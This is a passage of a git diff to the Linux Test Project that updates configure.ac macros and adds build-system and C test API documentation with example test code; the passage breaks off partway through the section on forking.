xt_entry_match, struct xt_entry_target],,,[ AC_CHECK_TYPES([struct __kernel_old_timeval, struct __kernel_old_timespec, struct __kernel_timespec, struct __kernel_old_itimerspec, struct __kernel_itimerspec],,,[#include ]) +AC_CHECK_TYPES([struct futex_waitv],,,[#include ]) +AC_CHECK_TYPES([struct mount_attr],,,[ +#ifdef HAVE_MOUNT_SETATTR +# include +#elif HAVE_LINUX_MOUNT_H +# include +#endif +]) + # Tools knobs # Bash AC_ARG_WITH([bash], - [AC_HELP_STRING([--with-bash], + [AS_HELP_STRING([--with-bash], [have the Bourne Again Shell interpreter])], [with_bash=$withval], [with_bash=no] @@ -233,24 +250,24 @@ fi # metadata AC_ARG_ENABLE([metadata], - [AC_HELP_STRING([--disable-metadata], + [AS_HELP_STRING([--disable-metadata], [Disable metadata generation (both HTML and PDF, default no)])], [], [enable_metadata=yes] ) AC_ARG_ENABLE([metadata_html], - [AC_HELP_STRING([--disable-metadata-html], + [AS_HELP_STRING([--disable-metadata-html], [Disable metadata HTML generation (default no)])], [], [enable_metadata_html=yes] ) AC_ARG_ENABLE([metadata_pdf], - [AC_HELP_STRING([--enable-metadata-pdf], + [AS_HELP_STRING([--enable-metadata-pdf], [Enable metadata PDF generation (default no)])], [], [enable_metadata_pdf=no] ) AC_ARG_WITH([metadata_generator], - [AC_HELP_STRING([--with-metadata-generator=asciidoc|asciidoctor], + [AS_HELP_STRING([--with-metadata-generator=asciidoc|asciidoctor], [Specify metadata generator to use (default autodetect)])], [with_metadata_generator=$withval], [with_metadata_generator=detect] @@ -260,7 +277,7 @@ LTP_DOCPARSE # Expect AC_ARG_WITH([expect], - [AC_HELP_STRING([--with-expect], + [AS_HELP_STRING([--with-expect], [have the Tcl/expect library])], [with_expect=$withval], [with_expect=no] @@ -273,7 +290,7 @@ fi # Numa AC_ARG_WITH([numa], - AC_HELP_STRING([--without-numa], + AS_HELP_STRING([--without-numa], [without numa support]), [with_numa=$withval], [with_numa=yes] @@ -281,7 +298,7 @@ AC_ARG_WITH([numa], # Perl AC_ARG_WITH([perl], - [AC_HELP_STRING([--with-perl], + [AS_HELP_STRING([--with-perl], [have a perl interpreter])], [with_perl=$withval], [with_perl=no] @@ -294,7 +311,7 @@ fi # Python AC_ARG_WITH([python], - [AC_HELP_STRING([--with-python], + [AS_HELP_STRING([--with-python], [have a python interpreter])], [with_python=$withval], [with_python=no] @@ -307,7 +324,7 @@ fi # TI RPC AC_ARG_WITH([tirpc], - AC_HELP_STRING([--without-tirpc], + AS_HELP_STRING([--without-tirpc], [without libtirpc support]), [with_tirpc=$withval], [with_tirpc=yes] @@ -317,20 +334,31 @@ AC_ARG_WITH([tirpc], # Testsuites knobs AC_ARG_WITH([open-posix-testsuite], - [AC_HELP_STRING([--with-open-posix-testsuite], + [AS_HELP_STRING([--with-open-posix-testsuite], [compile and install the open posix testsuite])], [with_open_posix_testsuite=$withval], [with_open_posix_testsuite=no] ) + +# Allow setting the directoy, where the open posix testsuite is installed to. +# If nothing is defined, we have to pass our default value to submake +AC_ARG_WITH([open-posix-testdir], + [AS_HELP_STRING([--with-open-posix-testdir=], + [set the directory, where the open posix testsuite will be installed under prefix])], + [], + [ac_configure_args="$ac_configure_args --with-open-posix-testdir=testcases/open_posix_testsuite"] +) + if test "x$with_open_posix_testsuite" = xyes; then AC_SUBST([WITH_OPEN_POSIX_TESTSUITE],["yes"]) + AC_CONFIG_SUBDIRS([testcases/open_posix_testsuite]) else AC_SUBST([WITH_OPEN_POSIX_TESTSUITE],["no"]) fi # TODO: testcases/realtime requires bash and python. AC_ARG_WITH([realtime-testsuite], - [AC_HELP_STRING([--with-realtime-testsuite], + [AS_HELP_STRING([--with-realtime-testsuite], [compile and install the realtime testsuite])], [with_realtime_testsuite=$withval], [with_realtime_testsuite=no] @@ -353,7 +381,6 @@ LTP_CHECK_ATOMIC_MEMORY_MODEL LTP_CHECK_BUILTIN_CLEAR_CACHE LTP_CHECK_CAPABILITY_SUPPORT LTP_CHECK_CC_WARN_OLDSTYLE -LTP_CHECK_CLONE_SUPPORTS_7_ARGS LTP_CHECK_CRYPTO LTP_CHECK_FORTIFY_SOURCE LTP_CHECK_KERNEL_DEVEL @@ -361,12 +388,15 @@ LTP_CHECK_KEYUTILS_SUPPORT LTP_CHECK_LIBMNL LTP_CHECK_LINUX_PTRACE LTP_CHECK_LINUXRANDOM -LTP_CHECK_MREMAP_FIXED LTP_CHECK_NOMMU_LINUX LTP_CHECK_SELINUX LTP_CHECK_SYNC_ADD_AND_FETCH LTP_CHECK_SYSCALL_EVENTFD LTP_CHECK_SYSCALL_FCNTL +LTP_CHECK_FSVERITY + +AX_CHECK_COMPILE_FLAG([-no-pie], [LTP_CFLAGS_NOPIE=1]) +AC_SUBST([LTP_CFLAGS_NOPIE]) if test "x$with_numa" = xyes; then LTP_CHECK_SYSCALL_NUMA @@ -377,13 +407,29 @@ fi AC_DEFINE_UNQUOTED(NUMA_ERROR_MSG, ["$numa_error_msg"], [Error message when no NUMA support]) -LTP_CHECK_SYSCALL_PERF_EVENT_OPEN LTP_CHECK_SYSCALL_SIGNALFD LTP_CHECK_SYSCALL_UTIMENSAT LTP_CHECK_TASKSTATS test "x$with_tirpc" = xyes && LTP_CHECK_TIRPC LTP_DETECT_HOST_CPU +AC_MSG_CHECKING([whether linker can handle KVM payloads]) +ltp_backup_ldflags="$LDFLAGS" +ltp_backup_flags="$[]_AC_LANG_PREFIX[]FLAGS" +LDFLAGS="-T ${srcdir}/testcases/kernel/kvm/linker/${HOST_CPU}.lds" +_AC_LANG_PREFIX[]FLAGS= +AC_LINK_IFELSE([AC_LANG_PROGRAM()], + [ + AC_MSG_RESULT([yes]) + AC_SUBST([WITH_KVM_TESTSUITE],["yes"]) + ], + [ + AC_MSG_RESULT([no]) + AC_SUBST([WITH_KVM_TESTSUITE],["no"]) + ]) +_AC_LANG_PREFIX[]FLAGS="$ltp_backup_flags" +LDFLAGS="$ltp_backup_ldflags" + AC_OUTPUT cat << EOF @@ -393,13 +439,13 @@ open posix testsuite: ${with_open_posix_testsuite:-no} realtime testsuite: ${with_realtime_testsuite:-no} LIBRARIES -keyutils: ${have_keyutils:-no} +keyutils: ${have_keyutils:-yes} libacl: ${have_libacl:-no} libaio: ${have_libaio:-no} (aio: ${have_aio:-no}) libcap: $cap_libs (newer: ${has_newer_libcap:-no}) -libcrypto: $have_libcrypto (sha: ${have_sha:-no}) -libmnl: ${have_libmnl:-no} -libnuma: ${have_libnuma:-no} (headers: ${have_numa_headers:-no}, v2 headers: ${have_numa_headers_v2:-no}) +libcrypto: ${have_libcrypto:-no} (sha: ${have_sha:-no}) +libmnl: ${have_libmnl:-yes} +libnuma: ${have_libnuma:-no} (headers: ${have_numa_headers:-yes}, v2 headers: ${have_numa_headers_v2:-no}) libtirpc: ${have_libtirpc:-no} glibc SUN-RPC: ${have_rpc_glibc:-no} diff --git a/doc/Build-System.rest b/doc/Build-System.rest new file mode 100644 index 00000000..e078fa7f --- /dev/null +++ b/doc/Build-System.rest @@ -0,0 +1,218 @@ +Short introduction into LTP build system +======================================== + +****************************************************************************** +The following document briefly describes the steps and methodologies used for +the new and improved Makefile system. + +Changelog: + + * Initial version: Ngie Cooper + * Reformated for asciidoc: Cyril Hrubis +****************************************************************************** + +The Problem +----------- + +The problem with the old Makefile system is that it was very difficult to +maintain and it lacked any sense of formal structure, thus developing for LTP +and including new targets was more difficult than it should have been +(maintenance). Furthermore, proper option-based cross-compilation was +impossible due to the fact that the Makefiles didn't support a prefixing +system, and the appropriate implicit / static rules hadn't been configured to +compile into multiple object directories for out-of-tree build support (ease of +use / functionality). Finally, there wasn't a means to setup dependencies +between components, such that if a component required libltp.a in order to +compile, it would go off and compile libltp.a first (ease of use). + +These items needed to be fixed to reduce maintenance nightmares for the +development community contributing to LTP, and the project maintainers. + +Design +------ + +The system was designed such that including a single GNU Makefile compatible +set in each new directory component is all that's essentially required to +build the system. + +Say you had a directory like the following (with .c files in them which +directly tie into applications, e.g. baz.c -> baz): + +------------------------------------------------------------------------------- +.../foo/ + |--> Makefile + | + --> bar/ + | + --> Makefile + | + --> baz.c +------------------------------------------------------------------------------- + +Here's an example of how one would accomplish that: + +------------------------------------------------------------------------------- +.../foo/Makefile: +# +# Copyright disclaimer goes here -- please use GPLv2. +# + +top_srcdir ?= .. + +include $(top_srcdir)/include/mk/env_pre.mk +include $(top_srcdir)/include/mk/generic_trunk_target.mk + +.../foo/bar/Makefile: +# +# Copyright disclaimer goes here -- please use GPLv2. +# + +top_srcdir ?= .. + +include $(top_srcdir)/include/mk/env_pre.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk +------------------------------------------------------------------------------- + +Kernel Modules +-------------- + +Some of the tests need to build kernel modules, happily LTP has +infrastructure for this. + +------------------------------------------------------------------------------- +ifneq ($(KERNELRELEASE),) + +obj-m := module01.o + +else + +top_srcdir ?= ../../../.. +include $(top_srcdir)/include/mk/testcases.mk + +REQ_VERSION_MAJOR := 2 +REQ_VERSION_PATCH := 6 +MAKE_TARGETS := test01 test02 module01.ko + +include $(top_srcdir)/include/mk/module.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk + +endif +------------------------------------------------------------------------------- + +This is example Makefile that allows you build kernel modules inside of LTP. +The prerequisites for the build are detected by the 'configure' script. + +The 'REQ_VERSION_MAJOR' and 'REQ_VERSION_PATCH' describe minimal kernel +version for which the build system tries to build the module. + +The buildsystem is also forward compatible with changes in Linux kernel +internal API so that if module fails to build the failure is ignored both on +build and installation. If the userspace counterpart of the test fails to load +the module because the file does not exists, the test is skipped. + +Note the 'ifneq($(KERNELRELEASE),)', the reason it's there is that the +Makefile is executed twice, once by LTP build system and once by kernel +kbuild, see 'Documentation/kbuild/modules.txt' in the Linux kernel tree for +details on external module build. + +Make Rules and Make Variables +----------------------------- + +When using make rules, avoid writing ad hoc rules like: + +------------------------------------------------------------------------------- +[prog]: [dependencies] + cc -I../../include $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $(LDLIBS) \ + -o [prog] [dependencies] +------------------------------------------------------------------------------- + +etc. This makes cross-compilation and determinism difficult, if not impossible. +Besides, implicit rules are your friends and as long as you use `MAKEOPTS=;' in +the top-level caller (or do $(subst r,$(MAKEOPTS)) to remove -r), the compile +will complete successfully, assuming all other prerequisites have been +fulfilled (libraries, headers, etc). + +------------------------------------------------------------------------------- +$(AR) : The library archiver. + +$(CC) : The system C compiler. + +$(CPP) : The system C preprocessor. + +$(CFLAGS) : C compiler flags. + +$(CPPFLAGS) : Preprocessor flags, e.g. -I arguments. + +$(DEBUG_CFLAGS) : Debug flags to pass to $(CC), -g, etc. + +$(KVM_LD) : Special linker for wrapping KVM payload binaries + into linkable object files. Defaults to $(LD). + Change this variable if the KVM Makefile fails + to build files named *-payload.o. + +$(LD) : The system linker (typically $(CC), but not + necessarily). + +$(LDFLAGS) : What to pass in to the linker, including -L arguments + and other ld arguments, apart from -l library + includes (see $(LDLIBS)). + + This should be done in the $(CC) args passing style + when LD := $(CC), e.g. `-Wl,-foo', as opposed to + `-foo'. + +$(LDLIBS) : Libraries to pass to the linker (e.g. -lltp, etc). + +$(LTPLDLIBS) : LTP internal libraries i.e. these in libs/ directory. + +$(OPT_CFLAGS) : Optimization flags to pass into the C compiler, -O2, + etc. If you specify -O2 or higher, you should also + specify -fno-strict-aliasing, because of gcc + fstrict-aliasing optimization bugs in the tree + optimizer. Search for `fstrict-aliasing optimization + bug' with your favorite search engine. + + Examples of more recent bugs: + 1. tree-optimization/17510 + 2. tree-optimization/39100 + + Various bugs have occurred in the past due to buggy + logic in the tree-optimization portion of the gcc + compiler, from 3.3.x to 4.4. + +$(RANLIB) : What to run after archiving a library. + +$(WCFLAGS) : Warning flags to pass to $(CC), e.g. -Werror, + -Wall, etc. +------------------------------------------------------------------------------- + +Make System Variables +--------------------- + +A series of variables are used within the make system that direct what actions +need to be taken. Rather than me listing the variables here, please with their +intended uses, please refer to the comments contained in ++.../include/mk/env_pre.mk+. + +Guidelines and Recommendations +------------------------------ + +Of course, the GNU Make manual is key to understanding the Make system, but +here are the following sections and chapters I suggest reviewing: + +link:http://www.gnu.org/software/make/manual/make.html#Implicit-Rules[Implicit Rules] +link:http://www.gnu.org/software/make/manual/make.html#Using-Variables[Variables and Expansion] +link:http://www.gnu.org/software/make/manual/make.html#Origin-Function[Origin Use] +link:http://www.gnu.org/software/make/manual/make.html#Directory-Search[VPath Use] + +Before Committing +----------------- + +One should rebuild from scratch before committing. Please see INSTALL for more +details. + +Other Errata +------------ + +Please see TODO for any issues related to the Makefile infrastructure, and +build structure / source tree in general. diff --git a/doc/C-Test-API.asciidoc b/doc/C-Test-API.asciidoc new file mode 100644 index 00000000..dab81156 --- /dev/null +++ b/doc/C-Test-API.asciidoc @@ -0,0 +1,2476 @@ +LTP C Test API +============== + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], + https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial[C Test Case Tutorial], + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API]. + +1 Writing a test in C +--------------------- + +1.1 Basic test structure +~~~~~~~~~~~~~~~~~~~~~~~~ + +Let's start with an example, following code is a simple test for a 'getenv()'. + +[source,c] +------------------------------------------------------------------------------- +/*\ + * [Description] + * Tests basic functionality of getenv(). + * + * - create an env variable and verify that getenv() can get it + * - call getenv() with nonexisting variable name, check that it returns NULL + */ + +#include "tst_test.h" + +#define ENV1 "LTP_TEST_ENV" +#define ENV2 "LTP_TEST_THIS_DOES_NOT_EXIST" +#define ENV_VAL "val" + +static void setup(void) +{ + if (setenv(ENV1, ENV_VAL, 1)) + tst_brk(TBROK | TERRNO, "setenv() failed"); +} + +static void run(void) +{ + char *ret; + + ret = getenv(ENV1); + + if (!ret) { + tst_res(TFAIL, "getenv(" ENV1 ") = NULL"); + goto next; + } + + if (!strcmp(ret, ENV_VAL)) { + tst_res(TPASS, "getenv(" ENV1 ") = '"ENV_VAL "'"); + } else { + tst_res(TFAIL, "getenv(" ENV1 ") = '%s', expected '" + ENV_VAL "'", ret); + } + +next: + ret = getenv(ENV2); + + if (ret) + tst_res(TFAIL, "getenv(" ENV2 ") = '%s'", ret); + else + tst_res(TPASS, "getenv(" ENV2 ") = NULL"); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, +}; +------------------------------------------------------------------------------- + +Each test includes the 'tst_test.h' header and must define the 'struct +tst_test test' structure. + +The overall test initialization is done in the 'setup()' function. + +The overall cleanup is done in a 'cleanup()' function. Here 'cleanup()' is +omitted as the test does not have anything to clean up. If cleanup is set in +the test structure it's called on test exit just before the test library +cleanup. That especially means that cleanup can be called at any point in a +test execution. For example even when a test setup step has failed, therefore +the 'cleanup()' function must be able to cope with unfinished initialization, +and so on. + +The test itself is done in the 'test()' function. The test function must work +fine if called in a loop. + +There are two types of a test function pointers in the test structure. The +first one is a '.test_all' pointer that is used when test is implemented as a +single function. Then there is a '.test' function along with the number of +tests '.tcnt' that allows for more detailed result reporting. If the '.test' +pointer is set the function is called '.tcnt' times with an integer parameter +in range of [0, '.tcnt' - 1]. + +IMPORTANT: Only one of '.test' and '.test_all' can be set at a time. + +Each test has a limit on how long it can run and the limit composes of two +parts max_runtime and timeout. The max_runtime is a limit for how long can the +'.test_all' or a set of '.test' functions take and the timeout is static part +that should cover the duration of test setup and cleanup plus some safety. + +Any test that runs for more than a second or two has to make sure to: + +- set the runtime either by setting the '.max_runtime' in tst_test or by + calling 'tst_set_max_runtime()' in the test setup + +- monitor remaning runtime by regular calls to 'tst_remaining_runtime()' and + exit when runtime has been used up + +Test is free to exit before max_runtime has been used up for example when +minimal number of iteration was finished. + +The limit is applied to a single call of the '.test_all' function that means +that for example when '.test_variants' or '.all_filesystems' is set the whole +test will be limited by 'variants * (max_runtime + timeout)' seconds and the +test runtime will be likely close to 'variants * max_runtime' seconds. + +[source,c] +------------------------------------------------------------------------------- +/* + * Returns number of seconds or zero in case that runtime has been used up. + */ + +int tst_remaining_runtime(void); +------------------------------------------------------------------------------- + +LAPI headers +++++++++++++ + +Use our LAPI headers ('include "lapi/foo.h"') to keep compatibility with old +distributions. LAPI header should always include original header. Older linux +headers were problematic, therefore we preferred to use libc headers. There are +still some bugs when combining certain glibc headers with linux headers, see +https://sourceware.org/glibc/wiki/Synchronizing_Headers. + +A word about the cleanup() callback ++++++++++++++++++++++++++++++++++++ + +There are a few rules that needs to be followed in order to write correct +cleanup() callback. + +1. Free only resources that were initialized. Keep in mind that callback can + be executed at any point in the test run. + +2. Make sure to free resources in the reverse order they were + initialized. (Some of the steps may not depend on others and everything + will work if there were swapped but let's keep it in order.) + +The first rule may seem complicated at first however, on the contrary, it's +quite easy. All you have to do is to keep track of what was already +initialized. For example file descriptors needs to be closed only if they were +assigned a valid file descriptor. For most of the things you need to create +extra flag that is set right after successful initialization though. Consider, +for example, test setup below. + +We also prefer cleaning up resources that would otherwise be released on the +program exit. There are two main reasons for this decision. Resources such as +file descriptors and mmaped memory could block umounting a block device in +cases where the test library has mounted a filesystem for the test temporary +directory. Not freeing allocated memory would upset static analysis and tools +such as valgrind and produce false-positives when checking for leaks in the +libc and other low level libraries. + +[source,c] +------------------------------------------------------------------------------- +static int fd0, fd1, mount_flag; + +#define MNTPOINT "mntpoint" +#define FILE1 "mntpoint/file1" +#define FILE2 "mntpoint/file2" + +static void setup(void) +{ + SAFE_MKDIR(MNTPOINT, 0777); + SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL); + SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, 0); + mount_flag = 1; + + fd0 = SAFE_OPEN(cleanup, FILE1, O_CREAT | O_RDWR, 0666); + fd1 = SAFE_OPEN(cleanup, FILE2, O_CREAT | O_RDWR, 0666); +} +------------------------------------------------------------------------------- + +In this case the 'cleanup()' function may be invoked when any of the 'SAFE_*' +macros has failed and therefore must be able to work with unfinished +initialization as well. Since global variables are initialized to zero we can +just check that fd > 0 before we attempt to close it. The mount function +requires extra flag to be set after device was successfully mounted. + +[source,c] +------------------------------------------------------------------------------- +static void cleanup(void) +{ + if (fd1 > 0) + SAFE_CLOSE(fd1); + + if (fd0 > 0) + SAFE_CLOSE(fd0); + + if (mount_flag && tst_umouont(MNTPOINT)) + tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT); +} +------------------------------------------------------------------------------- + +IMPORTANT: 'SAFE_MACROS()' used in cleanup *do not* exit the test. Failure + only produces a warning and the 'cleanup()' carries on. This is + intentional as we want to execute as much 'cleanup()' as possible. + +WARNING: Calling tst_brk() in test 'cleanup()' does not exit the test as well + and 'TBROK' is converted to 'TWARN'. + +NOTE: Creation and removal of the test temporary directory is handled in + the test library and the directory is removed recursively. Therefore + we do not have to remove files and directories in the test cleanup. + +1.2 Basic test interface +~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +void tst_res(int ttype, char *arg_fmt, ...); +------------------------------------------------------------------------------- + +Printf-like function to report test result, it's mostly used with ttype: + +|============================== +| 'TPASS' | Test has passed. +| 'TFAIL' | Test has failed. +| 'TINFO' | General message. +| 'TWARN' | Something went wrong but we decided to continue. Mostly used in cleanup functions. +|============================== + +The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print +'errno', 'TST_ERR' respectively. + +[source,c] +------------------------------------------------------------------------------- +void tst_brk(int ttype, char *arg_fmt, ...); +------------------------------------------------------------------------------- + +Printf-like function to report error and exit the test, it can be used with ttype: + +|============================================================ +| 'TBROK' | Something has failed in test preparation phase. +| 'TCONF' | Test is not appropriate for current configuration + (syscall not implemented, unsupported arch, ...) +|============================================================ + +The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print +'errno', 'TST_ERR' respectively. + +There are also 'TST_EXP_*()' macros that can simplify syscall unit tests to a +single line, use them whenever possible. These macros take a function call as +the first parameter and a printf-like format string and parameters as well. +These test macros then expand to a code that runs the call, checks the return +value and errno and reports the test result. + +[source,c] +------------------------------------------------------------------------------- +static void run(void) +{ + ... + TST_EXP_PASS(stat(fname, &statbuf), "stat(%s, ...)", fname); + + if (!TST_PASS) + return; + ... +} +------------------------------------------------------------------------------- + +The 'TST_EXP_PASS()' can be used for calls that return -1 on failure and 0 on +success. It will check for the return value and reports failure if the return +value is not equal to 0. The call also sets the 'TST_PASS' variable to 1 if +the call succeeeded. + +As seen above, this and similar macros take optional variadic arguments. These +begin with a format string and then appropriate values to be formatted. + +[source,c] +------------------------------------------------------------------------------- +static void run(void) +{ + ... + TST_EXP_FD(open(fname, O_RDONLY), "open(%s, O_RDONLY)", fname); + + SAFE_CLOSE(TST_RET); + ... +} +------------------------------------------------------------------------------- + +The 'TST_EXP_FD()' is the same as 'TST_EXP_PASS()' the only difference is that +the return value is expected to be a file descriptor so the call passes if +positive integer is returned. + +[source,c] +------------------------------------------------------------------------------- +static void run(void) +{ + ... + TST_EXP_FAIL(stat(fname, &statbuf), ENOENT, "stat(%s, ...)", fname); + ... +} +------------------------------------------------------------------------------- + +The 'TST_EXP_FAIL()' is similar to 'TST_EXP_PASS()' but it fails the test if +the call haven't failed with -1 and 'errno' wasn't set to the expected one +passed as the second argument. + +[source,c] +------------------------------------------------------------------------------- +static void run(void) +{ + ... + TST_EXP_FAIL2(msgget(key, flags), EINVAL, "msgget(%i, %i)", key, flags); + ... +} +------------------------------------------------------------------------------- + +The 'TST_EXP_FAIL2()' is the same as 'TST_EXP_FAIL()' except the return value is +expected to be non-negative integer if call passes. These macros build upon the ++TEST()+ macro and associated variables. + +'TST_EXP_FAIL_SILENT()' and 'TST_EXP_FAIL2_SILENT()' variants are less verbose +and do not print TPASS messages when SCALL fails as expected. + +[source,c] +------------------------------------------------------------------------------- +TEST(socket(AF_INET, SOCK_RAW, 1)); +if (TST_RET > -1) { + tst_res(TFAIL, "Created raw socket"); + SAFE_CLOSE(TST_RET); +} else if (TST_ERR != EPERM) { + tst_res(TFAIL | TTERRNO, + "Failed to create socket for wrong reason"); +} else { + tst_res(TPASS | TTERRNO, "Didn't create raw socket"); +} +------------------------------------------------------------------------------- + +The +TEST+ macro sets +TST_RET+ to its argument's return value and +TST_ERR+ to ++errno+. The +TTERNO+ flag can be used to print the error number's symbolic +value. + +No LTP library function or macro, except those in 'tst_test_macros.h', will +write to these variables (rule 'LTP-002'). So their values will not be changed +unexpectedly. + +[source,c] +------------------------------------------------------------------------------- +TST_EXP_POSITIVE(wait(&status)); + +if (!TST_PASS) + return; +------------------------------------------------------------------------------- + +If the return value of 'wait' is positive or zero, this macro will print a pass +result and set +TST_PASS+ appropriately. If the return value is negative, then +it will print fail. There are many similar macros to those shown here, please +see 'tst_test_macros.h'. + +[source,c] +------------------------------------------------------------------------------- +TST_EXP_EQ_LI(val1, val2); +TST_EXP_EQ_UI(val1, val2); +TST_EXP_EQ_SZ(val1, val2); +TST_EXP_EQ_SSZ(val1, val2); + +/* Use as */ +TST_EXP_EQ_LI(sig_caught, SIGCHLD); +------------------------------------------------------------------------------- + +Set of macros for different integer type comparsions. These macros print the +variable names as well as values in both pass and fail scenarios. + +[source,c] +------------------------------------------------------------------------------- +const char *tst_strsig(int sig); +------------------------------------------------------------------------------- + +Return the given signal number's corresponding string. + +[source,c] +------------------------------------------------------------------------------- +const char *tst_strerrno(int err); +------------------------------------------------------------------------------- + +Return the given errno number's corresponding string. Using this function to +translate 'errno' values to strings is preferred. You should not use the +'strerror()' function in the testcases. + +[source,c] +------------------------------------------------------------------------------- +const char *tst_strstatus(int status); +------------------------------------------------------------------------------- + +Returns string describing the status as returned by 'wait()'. + +WARNING: This function is not thread safe. + +[source,c] +------------------------------------------------------------------------------- +void tst_set_max_runtime(int max_runtime); +------------------------------------------------------------------------------- + +Allows for setting max_runtime per test iteration dynamically in the test 'setup()', +the timeout is specified in seconds. There are a few testcases whose runtime +can vary arbitrarily, these can disable timeouts by setting it to +TST_UNLIMITED_RUNTIME. + +[source,c] +------------------------------------------------------------------------------- +void tst_flush(void); +------------------------------------------------------------------------------- + +Flush output streams, handling errors appropriately. + +This function is rarely needed when you have to flush the output streams +before calling 'fork()' or 'clone()'. Note that the 'SAFE_FORK()' and 'SAFE_CLONE()' +calls this function automatically. See 2.4 FILE buffers and fork() for explanation +why is this needed. + +1.3 Test temporary directory +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If '.needs_tmpdir' is set to '1' in the 'struct tst_test' unique test +temporary is created and it's set as the test working directory. Tests *MUST +NOT* create temporary files outside that directory. The flag is not needed to +be set when use these flags: '.all_filesystems', '.format_device', '.mntpoint', +'.mount_device' '.needs_checkpoints', '.needs_device', '.resource_file' +(these flags imply creating temporary directory). + +IMPORTANT: Close all file descriptors (that point to files in test temporary + directory, even the unlinked ones) either in the 'test()' function + or in the test 'cleanup()' otherwise the test may break temporary + directory removal on NFS (look for "NFS silly rename"). + +1.4 Safe macros +~~~~~~~~~~~~~~~ + +Safe macros aim to simplify error checking in test preparation. Instead of +calling system API functions, checking for their return value and aborting the +test if the operation has failed, you just use corresponding safe macro. + +Use them whenever it's possible. + +Instead of writing: + +[source,c] +------------------------------------------------------------------------------- +fd = open("/dev/null", O_RDONLY); +if (fd < 0) + tst_brk(TBROK | TERRNO, "opening /dev/null failed"); +------------------------------------------------------------------------------- + +You write just: + +[source,c] +------------------------------------------------------------------------------- +fd = SAFE_OPEN("/dev/null", O_RDONLY); +------------------------------------------------------------------------------- + +IMPORTANT: The 'SAFE_CLOSE()' function also sets the passed file descriptor to -1 + after it's successfully closed. + +They can also simplify reading and writing of sysfs files, you can, for +example, do: + +[source,c] +------------------------------------------------------------------------------- +SAFE_FILE_SCANF("/proc/sys/kernel/pid_max", "%lu", &pid_max); +------------------------------------------------------------------------------- + +See 'include/tst_safe_macros.h', 'include/tst_safe_stdio.h' and +'include/tst_safe_file_ops.h' and 'include/tst_safe_net.h' for a complete list. + +1.5 Test specific command line options +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +struct tst_option { + char *optstr; + char **arg; + char *help; +}; +------------------------------------------------------------------------------- + +Test specific command line parameters can be passed with the 'NULL' terminated +array of 'struct tst_option'. The 'optstr' is the command line option i.e. "o" +or "o:" if option has a parameter. Only short options are supported. The 'arg' +is where 'optarg' is stored upon match. If option has no parameter it's set to +non-'NULL' value if option was present. The 'help' is a short help string. + +NOTE: The test parameters must not collide with common test parameters defined + in the library the currently used ones are +-i+, +-I+, +-C+, and +-h+. + +[source,c] +------------------------------------------------------------------------------- +int tst_parse_int(const char *str, int *val, int min, int max); +int tst_parse_long(const char *str, long *val, long min, long max); +int tst_parse_float(const char *str, float *val, float min, float max); +int tst_parse_filesize(const char *str, long long *val, long long min, long long max); +------------------------------------------------------------------------------- + +Helpers for parsing the strings returned in the 'struct tst_option'. + +Helpers return zero on success and 'errno', mostly 'EINVAL' or 'ERANGE', on +failure. + +Helpers functions are no-op if 'str' is 'NULL'. + +The valid range for result includes both 'min' and 'max'. + +In particular, 'tst_parse_filesize' function accepts prefix multiplies such as +"k/K for kilobytes, "m/M" for megabytes and "g/G" for gigabytes. For example, +10K are converted into 10240 bytes. + +[source,c] +------------------------------------------------------------------------------- +#include +#include "tst_test.h" + +static char *str_threads; +static int threads = 10; + +static void setup(void) +{ + if (tst_parse_int(str_threads, &threads, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of threads '%s'", str_threads); + + ... +} + +static void test_threads(void) +{ + ... + + for (i = 0; i < threads; i++) { + ... + } + + ... +} + +static struct tst_test test = { + ... + .options = (struct tst_option[]) { + {"t:", &str_threads, "Number of threads (default 10)"}, + {}, + ... +}; +------------------------------------------------------------------------------- + + +1.6 Runtime kernel version detection +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Testcases for newly added kernel functionality require kernel newer than a +certain version to run. All you need to skip a test on older kernels is to +set the '.min_kver' string in the 'struct tst_test' to a minimal required +kernel version, e.g. '.min_kver = "4.10.0"'. + +For more complicated operations such as skipping a test for a certain range +of kernel versions, following functions could be used: + +[source,c] +------------------------------------------------------------------------------- +int tst_kvercmp(int r1, int r2, int r3); + +struct tst_kern_exv { + char *dist_name; + char *extra_ver; +}; + +int tst_kvercmp2(int r1, int r2, int r3, struct tst_kern_exv *vers); +------------------------------------------------------------------------------- + +These two functions are intended for runtime kernel version detection. They +parse the output from 'uname()' and compare it to the passed values. + +The return value is similar to the 'strcmp()' function, i.e. zero means equal, +negative value means that the kernel is older than the expected value and +positive means that it's newer. + +The second function 'tst_kvercmp2()' allows for specifying per-vendor table of +kernel versions as vendors typically backport fixes to their kernels and the +test may be relevant even if the kernel version does not suggests so. + +[source,c] +------------------------------------------------------------------------------- +if (tst_kvercmp(5, 19, 0) >= 0) + tst_res(TCONF, "Test valid only for kernel < 5.19"); + +static struct tst_kern_exv kvers[] = { + { "UBUNTU", "4.4.0-48.69" }, + { NULL, NULL}, +}; + +if (tst_kvercmp2(4, 4, 27, kvers) < 0) + /* code for kernel < v4.4.27 or ubuntu kernel < 4.4.0-48.69 */ +------------------------------------------------------------------------------- + +WARNING: The shell 'tst_kvercmp' maps the result into unsigned integer - the + process exit value. + +NOTE: See also LTP + https://github.com/linux-test-project/ltp/wiki/Supported-kernel,-libc,-toolchain-versions#13-minimal-supported-kernel-version[minimal supported kernel version]. + +1.7 Fork()-ing +~~~~~~~~~~~~~~ + +Be wary that if the test forks and there were messages printed by the +'tst_*()' interfaces, the data may still be in libc/kernel buffers and these +*ARE NOT* flushed automatically. + +This happens when 'stdout' gets redirected to a file. In this case, the +'stdout' is not line 